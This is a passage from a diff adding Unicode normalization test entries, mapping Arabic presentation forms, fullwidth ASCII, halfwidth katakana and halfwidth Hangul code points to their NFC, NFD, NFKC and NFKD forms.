+{ source: [0xFEBE], NFC: [0xFEBE], NFD: [0xFEBE], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEBF], NFC: [0xFEBF], NFD: [0xFEBF], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC0], NFC: [0xFEC0], NFD: [0xFEC0], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC1], NFC: [0xFEC1], NFD: [0xFEC1], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC2], NFC: [0xFEC2], NFD: [0xFEC2], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC3], NFC: [0xFEC3], NFD: [0xFEC3], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC4], NFC: [0xFEC4], NFD: [0xFEC4], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC5], NFC: [0xFEC5], NFD: [0xFEC5], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC6], NFC: [0xFEC6], NFD: [0xFEC6], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC7], NFC: [0xFEC7], NFD: [0xFEC7], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC8], NFC: [0xFEC8], NFD: [0xFEC8], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC9], NFC: [0xFEC9], NFD: [0xFEC9], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECA], NFC: [0xFECA], NFD: [0xFECA], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECB], NFC: [0xFECB], NFD: [0xFECB], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECC], NFC: [0xFECC], NFD: [0xFECC], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECD], NFC: [0xFECD], NFD: [0xFECD], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECE], NFC: [0xFECE], NFD: [0xFECE], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECF], NFC: [0xFECF], NFD: [0xFECF], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED0], NFC: [0xFED0], NFD: [0xFED0], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED1], NFC: [0xFED1], NFD: [0xFED1], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED2], NFC: [0xFED2], NFD: [0xFED2], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED3], NFC: [0xFED3], NFD: [0xFED3], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED4], NFC: [0xFED4], NFD: [0xFED4], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED5], NFC: [0xFED5], NFD: [0xFED5], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED6], NFC: [0xFED6], NFD: [0xFED6], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED7], NFC: [0xFED7], NFD: [0xFED7], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED8], NFC: [0xFED8], NFD: [0xFED8], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED9], NFC: [0xFED9], NFD: [0xFED9], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDA], NFC: [0xFEDA], NFD: [0xFEDA], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDB], NFC: [0xFEDB], NFD: [0xFEDB], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDC], NFC: [0xFEDC], NFD: [0xFEDC], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDD], NFC: [0xFEDD], NFD: [0xFEDD], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDE], NFC: [0xFEDE], NFD: [0xFEDE], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDF], NFC: [0xFEDF], NFD: [0xFEDF], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE0], NFC: [0xFEE0], NFD: [0xFEE0], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE1], NFC: [0xFEE1], NFD: [0xFEE1], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE2], NFC: [0xFEE2], NFD: [0xFEE2], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE3], NFC: [0xFEE3], NFD: [0xFEE3], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE4], NFC: [0xFEE4], NFD: [0xFEE4], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE5], NFC: [0xFEE5], NFD: [0xFEE5], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE6], NFC: [0xFEE6], NFD: [0xFEE6], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE7], NFC: [0xFEE7], NFD: [0xFEE7], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE8], NFC: [0xFEE8], NFD: [0xFEE8], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE9], NFC: [0xFEE9], NFD: [0xFEE9], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEA], NFC: [0xFEEA], NFD: [0xFEEA], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEB], NFC: [0xFEEB], NFD: [0xFEEB], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEC], NFC: [0xFEEC], NFD: [0xFEEC], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEED], NFC: [0xFEED], NFD: [0xFEED], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEE], NFC: [0xFEEE], NFD: [0xFEEE], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEF], NFC: [0xFEEF], NFD: [0xFEEF], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF0], NFC: [0xFEF0], NFD: [0xFEF0], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF1], NFC: [0xFEF1], NFD: [0xFEF1], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF2], NFC: [0xFEF2], NFD: [0xFEF2], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF3], NFC: [0xFEF3], NFD: [0xFEF3], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF4], NFC: [0xFEF4], NFD: [0xFEF4], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF5], NFC: [0xFEF5], NFD: [0xFEF5], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF6], NFC: [0xFEF6], NFD: [0xFEF6], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF7], NFC: [0xFEF7], NFD: [0xFEF7], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF8], NFC: [0xFEF8], NFD: [0xFEF8], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF9], NFC: [0xFEF9], NFD: [0xFEF9], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFA], NFC: [0xFEFA], NFD: [0xFEFA], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFB], NFC: [0xFEFB], NFD: [0xFEFB], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFEFC], NFC: [0xFEFC], NFD: [0xFEFC], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFF01], NFC: [0xFF01], NFD: [0xFF01], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFF02], NFC: [0xFF02], NFD: [0xFF02], NFKC: [0x0022], NFKD: [0x0022] },
+{ source: [0xFF03], NFC: [0xFF03], NFD: [0xFF03], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFF04], NFC: [0xFF04], NFD: [0xFF04], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFF05], NFC: [0xFF05], NFD: [0xFF05], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFF06], NFC: [0xFF06], NFD: [0xFF06], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFF07], NFC: [0xFF07], NFD: [0xFF07], NFKC: [0x0027], NFKD: [0x0027] },
+{ source: [0xFF08], NFC: [0xFF08], NFD: [0xFF08], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFF09], NFC: [0xFF09], NFD: [0xFF09], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFF0A], NFC: [0xFF0A], NFD: [0xFF0A], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFF0B], NFC: [0xFF0B], NFD: [0xFF0B], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFF0C], NFC: [0xFF0C], NFD: [0xFF0C], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFF0D], NFC: [0xFF0D], NFD: [0xFF0D], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFF0E], NFC: [0xFF0E], NFD: [0xFF0E], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFF0F], NFC: [0xFF0F], NFD: [0xFF0F], NFKC: [0x002F], NFKD: [0x002F] },
+{ source: [0xFF10], NFC: [0xFF10], NFD: [0xFF10], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0xFF11], NFC: [0xFF11], NFD: [0xFF11], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0xFF12], NFC: [0xFF12], NFD: [0xFF12], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0xFF13], NFC: [0xFF13], NFD: [0xFF13], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0xFF14], NFC: [0xFF14], NFD: [0xFF14], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0xFF15], NFC: [0xFF15], NFD: [0xFF15], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0xFF16], NFC: [0xFF16], NFD: [0xFF16], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0xFF17], NFC: [0xFF17], NFD: [0xFF17], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0xFF18], NFC: [0xFF18], NFD: [0xFF18], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0xFF19], NFC: [0xFF19], NFD: [0xFF19], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0xFF1A], NFC: [0xFF1A], NFD: [0xFF1A], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFF1B], NFC: [0xFF1B], NFD: [0xFF1B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFF1C], NFC: [0xFF1C], NFD: [0xFF1C], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFF1D], NFC: [0xFF1D], NFD: [0xFF1D], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFF1E], NFC: [0xFF1E], NFD: [0xFF1E], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFF1F], NFC: [0xFF1F], NFD: [0xFF1F], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFF20], NFC: [0xFF20], NFD: [0xFF20], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFF21], NFC: [0xFF21], NFD: [0xFF21], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0xFF22], NFC: [0xFF22], NFD: [0xFF22], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0xFF23], NFC: [0xFF23], NFD: [0xFF23], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0xFF24], NFC: [0xFF24], NFD: [0xFF24], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0xFF25], NFC: [0xFF25], NFD: [0xFF25], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0xFF26], NFC: [0xFF26], NFD: [0xFF26], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0xFF27], NFC: [0xFF27], NFD: [0xFF27], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0xFF28], NFC: [0xFF28], NFD: [0xFF28], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0xFF29], NFC: [0xFF29], NFD: [0xFF29], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0xFF2A], NFC: [0xFF2A], NFD: [0xFF2A], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0xFF2B], NFC: [0xFF2B], NFD: [0xFF2B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0xFF2C], NFC: [0xFF2C], NFD: [0xFF2C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0xFF2D], NFC: [0xFF2D], NFD: [0xFF2D], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0xFF2E], NFC: [0xFF2E], NFD: [0xFF2E], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0xFF2F], NFC: [0xFF2F], NFD: [0xFF2F], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0xFF30], NFC: [0xFF30], NFD: [0xFF30], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0xFF31], NFC: [0xFF31], NFD: [0xFF31], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0xFF32], NFC: [0xFF32], NFD: [0xFF32], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0xFF33], NFC: [0xFF33], NFD: [0xFF33], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0xFF34], NFC: [0xFF34], NFD: [0xFF34], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0xFF35], NFC: [0xFF35], NFD: [0xFF35], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0xFF36], NFC: [0xFF36], NFD: [0xFF36], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0xFF37], NFC: [0xFF37], NFD: [0xFF37], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0xFF38], NFC: [0xFF38], NFD: [0xFF38], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0xFF39], NFC: [0xFF39], NFD: [0xFF39], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0xFF3A], NFC: [0xFF3A], NFD: [0xFF3A], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0xFF3B], NFC: [0xFF3B], NFD: [0xFF3B], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFF3C], NFC: [0xFF3C], NFD: [0xFF3C], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFF3D], NFC: [0xFF3D], NFD: [0xFF3D], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFF3E], NFC: [0xFF3E], NFD: [0xFF3E], NFKC: [0x005E], NFKD: [0x005E] },
+{ source: [0xFF3F], NFC: [0xFF3F], NFD: [0xFF3F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFF40], NFC: [0xFF40], NFD: [0xFF40], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0xFF41], NFC: [0xFF41], NFD: [0xFF41], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0xFF42], NFC: [0xFF42], NFD: [0xFF42], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0xFF43], NFC: [0xFF43], NFD: [0xFF43], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0xFF44], NFC: [0xFF44], NFD: [0xFF44], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0xFF45], NFC: [0xFF45], NFD: [0xFF45], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0xFF46], NFC: [0xFF46], NFD: [0xFF46], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0xFF47], NFC: [0xFF47], NFD: [0xFF47], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0xFF48], NFC: [0xFF48], NFD: [0xFF48], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0xFF49], NFC: [0xFF49], NFD: [0xFF49], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0xFF4A], NFC: [0xFF4A], NFD: [0xFF4A], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0xFF4B], NFC: [0xFF4B], NFD: [0xFF4B], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0xFF4C], NFC: [0xFF4C], NFD: [0xFF4C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0xFF4D], NFC: [0xFF4D], NFD: [0xFF4D], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0xFF4E], NFC: [0xFF4E], NFD: [0xFF4E], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0xFF4F], NFC: [0xFF4F], NFD: [0xFF4F], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0xFF50], NFC: [0xFF50], NFD: [0xFF50], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0xFF51], NFC: [0xFF51], NFD: [0xFF51], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0xFF52], NFC: [0xFF52], NFD: [0xFF52], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0xFF53], NFC: [0xFF53], NFD: [0xFF53], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0xFF54], NFC: [0xFF54], NFD: [0xFF54], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0xFF55], NFC: [0xFF55], NFD: [0xFF55], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0xFF56], NFC: [0xFF56], NFD: [0xFF56], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0xFF57], NFC: [0xFF57], NFD: [0xFF57], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0xFF58], NFC: [0xFF58], NFD: [0xFF58], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0xFF59], NFC: [0xFF59], NFD: [0xFF59], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0xFF5A], NFC: [0xFF5A], NFD: [0xFF5A], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0xFF5B], NFC: [0xFF5B], NFD: [0xFF5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFF5C], NFC: [0xFF5C], NFD: [0xFF5C], NFKC: [0x007C], NFKD: [0x007C] },
+{ source: [0xFF5D], NFC: [0xFF5D], NFD: [0xFF5D], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFF5E], NFC: [0xFF5E], NFD: [0xFF5E], NFKC: [0x007E], NFKD: [0x007E] },
+{ source: [0xFF5F], NFC: [0xFF5F], NFD: [0xFF5F], NFKC: [0x2985], NFKD: [0x2985] },
+{ source: [0xFF60], NFC: [0xFF60], NFD: [0xFF60], NFKC: [0x2986], NFKD: [0x2986] },
+{ source: [0xFF61], NFC: [0xFF61], NFD: [0xFF61], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFF62], NFC: [0xFF62], NFD: [0xFF62], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFF63], NFC: [0xFF63], NFD: [0xFF63], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFF64], NFC: [0xFF64], NFD: [0xFF64], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFF65], NFC: [0xFF65], NFD: [0xFF65], NFKC: [0x30FB], NFKD: [0x30FB] },
+{ source: [0xFF66], NFC: [0xFF66], NFD: [0xFF66], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0xFF67], NFC: [0xFF67], NFD: [0xFF67], NFKC: [0x30A1], NFKD: [0x30A1] },
+{ source: [0xFF68], NFC: [0xFF68], NFD: [0xFF68], NFKC: [0x30A3], NFKD: [0x30A3] },
+{ source: [0xFF69], NFC: [0xFF69], NFD: [0xFF69], NFKC: [0x30A5], NFKD: [0x30A5] },
+{ source: [0xFF6A], NFC: [0xFF6A], NFD: [0xFF6A], NFKC: [0x30A7], NFKD: [0x30A7] },
+{ source: [0xFF6B], NFC: [0xFF6B], NFD: [0xFF6B], NFKC: [0x30A9], NFKD: [0x30A9] },
+{ source: [0xFF6C], NFC: [0xFF6C], NFD: [0xFF6C], NFKC: [0x30E3], NFKD: [0x30E3] },
+{ source: [0xFF6D], NFC: [0xFF6D], NFD: [0xFF6D], NFKC: [0x30E5], NFKD: [0x30E5] },
+{ source: [0xFF6E], NFC: [0xFF6E], NFD: [0xFF6E], NFKC: [0x30E7], NFKD: [0x30E7] },
+{ source: [0xFF6F], NFC: [0xFF6F], NFD: [0xFF6F], NFKC: [0x30C3], NFKD: [0x30C3] },
+{ source: [0xFF70], NFC: [0xFF70], NFD: [0xFF70], NFKC: [0x30FC], NFKD: [0x30FC] },
+{ source: [0xFF71], NFC: [0xFF71], NFD: [0xFF71], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0xFF72], NFC: [0xFF72], NFD: [0xFF72], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0xFF73], NFC: [0xFF73], NFD: [0xFF73], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0xFF74], NFC: [0xFF74], NFD: [0xFF74], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0xFF75], NFC: [0xFF75], NFD: [0xFF75], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0xFF76], NFC: [0xFF76], NFD: [0xFF76], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0xFF77], NFC: [0xFF77], NFD: [0xFF77], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0xFF78], NFC: [0xFF78], NFD: [0xFF78], NFKC: [0x30AF], NFKD: [0x30AF] },
+{ source: [0xFF79], NFC: [0xFF79], NFD: [0xFF79], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0xFF7A], NFC: [0xFF7A], NFD: [0xFF7A], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0xFF7B], NFC: [0xFF7B], NFD: [0xFF7B], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0xFF7C], NFC: [0xFF7C], NFD: [0xFF7C], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0xFF7D], NFC: [0xFF7D], NFD: [0xFF7D], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0xFF7E], NFC: [0xFF7E], NFD: [0xFF7E], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0xFF7F], NFC: [0xFF7F], NFD: [0xFF7F], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0xFF80], NFC: [0xFF80], NFD: [0xFF80], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0xFF81], NFC: [0xFF81], NFD: [0xFF81], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0xFF82], NFC: [0xFF82], NFD: [0xFF82], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0xFF83], NFC: [0xFF83], NFD: [0xFF83], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0xFF84], NFC: [0xFF84], NFD: [0xFF84], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0xFF85], NFC: [0xFF85], NFD: [0xFF85], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0xFF86], NFC: [0xFF86], NFD: [0xFF86], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0xFF87], NFC: [0xFF87], NFD: [0xFF87], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0xFF88], NFC: [0xFF88], NFD: [0xFF88], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0xFF89], NFC: [0xFF89], NFD: [0xFF89], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0xFF8A], NFC: [0xFF8A], NFD: [0xFF8A], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0xFF8B], NFC: [0xFF8B], NFD: [0xFF8B], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0xFF8C], NFC: [0xFF8C], NFD: [0xFF8C], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0xFF8D], NFC: [0xFF8D], NFD: [0xFF8D], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0xFF8E], NFC: [0xFF8E], NFD: [0xFF8E], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0xFF8F], NFC: [0xFF8F], NFD: [0xFF8F], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0xFF90], NFC: [0xFF90], NFD: [0xFF90], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0xFF91], NFC: [0xFF91], NFD: [0xFF91], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0xFF92], NFC: [0xFF92], NFD: [0xFF92], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0xFF93], NFC: [0xFF93], NFD: [0xFF93], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0xFF94], NFC: [0xFF94], NFD: [0xFF94], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0xFF95], NFC: [0xFF95], NFD: [0xFF95], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0xFF96], NFC: [0xFF96], NFD: [0xFF96], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0xFF97], NFC: [0xFF97], NFD: [0xFF97], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0xFF98], NFC: [0xFF98], NFD: [0xFF98], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0xFF99], NFC: [0xFF99], NFD: [0xFF99], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0xFF9A], NFC: [0xFF9A], NFD: [0xFF9A], NFKC: [0x30EC], NFKD: [0x30EC] },
+{ source: [0xFF9B], NFC: [0xFF9B], NFD: [0xFF9B], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0xFF9C], NFC: [0xFF9C], NFD: [0xFF9C], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0xFF9D], NFC: [0xFF9D], NFD: [0xFF9D], NFKC: [0x30F3], NFKD: [0x30F3] },
+{ source: [0xFF9E], NFC: [0xFF9E], NFD: [0xFF9E], NFKC: [0x3099], NFKD: [0x3099] },
+{ source: [0xFF9F], NFC: [0xFF9F], NFD: [0xFF9F], NFKC: [0x309A], NFKD: [0x309A] },
+{ source: [0xFFA0], NFC: [0xFFA0], NFD: [0xFFA0], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0xFFA1], NFC: [0xFFA1], NFD: [0xFFA1], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0xFFA2], NFC: [0xFFA2], NFD: [0xFFA2], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0xFFA3], NFC: [0xFFA3], NFD: [0xFFA3], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0xFFA4], NFC: [0xFFA4], NFD: [0xFFA4], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0xFFA5], NFC: [0xFFA5], NFD: [0xFFA5], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0xFFA6], NFC: [0xFFA6], NFD: [0xFFA6], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0xFFA7], NFC: [0xFFA7], NFD: [0xFFA7], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0xFFA8], NFC: [0xFFA8], NFD: [0xFFA8], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0xFFA9], NFC: [0xFFA9], NFD: [0xFFA9], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0xFFAA], NFC: [0xFFAA], NFD: [0xFFAA], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0xFFAB], NFC: [0xFFAB], NFD: [0xFFAB], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0xFFAC], NFC: [0xFFAC], NFD: [0xFFAC], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0xFFAD], NFC: [0xFFAD], NFD: [0xFFAD], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0xFFAE], NFC: [0xFFAE], NFD: [0xFFAE], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0xFFAF], NFC: [0xFFAF], NFD: [0xFFAF], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0xFFB0], NFC: [0xFFB0], NFD: [0xFFB0], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0xFFB1], NFC: [0xFFB1], NFD: [0xFFB1], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0xFFB2], NFC: [0xFFB2], NFD: [0xFFB2], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0xFFB3], NFC: [0xFFB3], NFD: [0xFFB3], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0xFFB4], NFC: [0xFFB4], NFD: [0xFFB4], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0xFFB5], NFC: [0xFFB5], NFD: [0xFFB5], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0xFFB6], NFC: [0xFFB6], NFD: [0xFFB6], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0xFFB7], NFC: [0xFFB7], NFD: [0xFFB7], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0xFFB8], NFC: [0xFFB8], NFD: [0xFFB8], NFKC: [0x110C], NFKD: [0x110C] },
